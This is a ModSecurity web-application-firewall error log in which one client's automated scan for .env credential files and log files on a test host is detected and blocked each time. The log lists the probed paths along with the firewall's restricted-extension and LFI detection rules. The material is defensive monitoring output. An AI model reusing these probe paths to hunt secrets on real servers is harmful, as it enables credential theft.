[Wed Feb 25 06:05:20.704002 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Nodejs-Projects/play-ground/login/.env&quot;] [unique_id &quot;aZ6DEPjNQqDNAmB2zjqaHwAAAAY&quot;]
[Wed Feb 25 06:05:20.704190 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Nodejs-Projects/play-ground/login/.env&quot;] [unique_id &quot;aZ6DEPjNQqDNAmB2zjqaHwAAAAY&quot;]
[Wed Feb 25 06:05:20.722843 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /logs/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/.env&quot;] [unique_id &quot;aZ6DECn6hL63qXWzsp19wgAAAAE&quot;]
[Wed Feb 25 06:05:20.723080 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/.env&quot;] [unique_id &quot;aZ6DECn6hL63qXWzsp19wgAAAAE&quot;]
[Wed Feb 25 06:05:20.723237 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/.env&quot;] [unique_id &quot;aZ6DECn6hL63qXWzsp19wgAAAAE&quot;]
[Wed Feb 25 06:05:20.741058 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /nodejs-projects/play-ground/manageuserroles/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Nodejs-Projects/play-ground/ManageUserRoles/.env&quot;] [unique_id &quot;aZ6DEPjNQqDNAmB2zjqaIAAAAAY&quot;]
[Wed Feb 25 06:05:20.741307 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Nodejs-Projects/play-ground/ManageUserRoles/.env&quot;] [unique_id &quot;aZ6DEPjNQqDNAmB2zjqaIAAAAAY&quot;]
[Wed Feb 25 06:05:20.741474 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Nodejs-Projects/play-ground/ManageUserRoles/.env&quot;] [unique_id &quot;aZ6DEPjNQqDNAmB2zjqaIAAAAAY&quot;]
[Wed Feb 25 06:05:20.766424 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/access.log&quot;] [unique_id &quot;aZ6DECn6hL63qXWzsp19wwAAAAE&quot;]
[Wed Feb 25 06:05:20.766940 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/access.log&quot;] [unique_id &quot;aZ6DECn6hL63qXWzsp19wwAAAAE&quot;]
[Wed Feb 25 06:05:20.767113 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/access.log&quot;] [unique_id &quot;aZ6DECn6hL63qXWzsp19wwAAAAE&quot;]
[Wed Feb 25 06:05:20.840640 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/app.log&quot;] [unique_id &quot;aZ6DECn6hL63qXWzsp19xAAAAAE&quot;]
[Wed Feb 25 06:05:20.841186 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/app.log&quot;] [unique_id &quot;aZ6DECn6hL63qXWzsp19xAAAAAE&quot;]
[Wed Feb 25 06:05:20.841371 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/app.log&quot;] [unique_id &quot;aZ6DECn6hL63qXWzsp19xAAAAAE&quot;]
[Wed Feb 25 06:05:20.872760 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /novnc/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/noVNC/.env&quot;] [unique_id &quot;aZ6DEPjNQqDNAmB2zjqaIQAAAAY&quot;]
[Wed Feb 25 06:05:20.873038 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/noVNC/.env&quot;] [unique_id &quot;aZ6DEPjNQqDNAmB2zjqaIQAAAAY&quot;]
[Wed Feb 25 06:05:20.873210 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/noVNC/.env&quot;] [unique_id &quot;aZ6DEPjNQqDNAmB2zjqaIQAAAAY&quot;]
[Wed Feb 25 06:05:20.940004 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/error.log&quot;] [unique_id &quot;aZ6DECn6hL63qXWzsp19xQAAAAE&quot;]
[Wed Feb 25 06:05:20.940514 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/error.log&quot;] [unique_id &quot;aZ6DECn6hL63qXWzsp19xQAAAAE&quot;]
[Wed Feb 25 06:05:20.940704 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/error.log&quot;] [unique_id &quot;aZ6DECn6hL63qXWzsp19xQAAAAE&quot;]
[Wed Feb 25 06:05:21.096337 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /nuke.app.ui/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Nuke.App.Ui/.env&quot;] [unique_id &quot;aZ6DEfjNQqDNAmB2zjqaIwAAAAY&quot;]
[Wed Feb 25 06:05:21.096619 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Nuke.App.Ui/.env&quot;] [unique_id &quot;aZ6DEfjNQqDNAmB2zjqaIwAAAAY&quot;]
[Wed Feb 25 06:05:21.096805 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Nuke.App.Ui/.env&quot;] [unique_id &quot;aZ6DEfjNQqDNAmB2zjqaIwAAAAY&quot;]
[Wed Feb 25 06:05:21.121734 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /nuxt/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nuxt/.env&quot;] [unique_id &quot;aZ6DEfjNQqDNAmB2zjqaJAAAAAY&quot;]
[Wed Feb 25 06:05:21.122027 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nuxt/.env&quot;] [unique_id &quot;aZ6DEfjNQqDNAmB2zjqaJAAAAAY&quot;]
[Wed Feb 25 06:05:21.122209 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nuxt/.env&quot;] [unique_id &quot;aZ6DEfjNQqDNAmB2zjqaJAAAAAY&quot;]
[Wed Feb 25 06:05:21.141967 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /magento/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/magento/.env&quot;] [unique_id &quot;aZ6DESn6hL63qXWzsp19xgAAAAE&quot;]
[Wed Feb 25 06:05:21.142277 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/magento/.env&quot;] [unique_id &quot;aZ6DESn6hL63qXWzsp19xgAAAAE&quot;]
[Wed Feb 25 06:05:21.142508 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/magento/.env&quot;] [unique_id &quot;aZ6DESn6hL63qXWzsp19xgAAAAE&quot;]
[Wed Feb 25 06:05:21.182103 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /mailinabox/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mailinabox/.env&quot;] [unique_id &quot;aZ6DESn6hL63qXWzsp19xwAAAAE&quot;]
[Wed Feb 25 06:05:21.182430 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mailinabox/.env&quot;] [unique_id &quot;aZ6DESn6hL63qXWzsp19xwAAAAE&quot;]
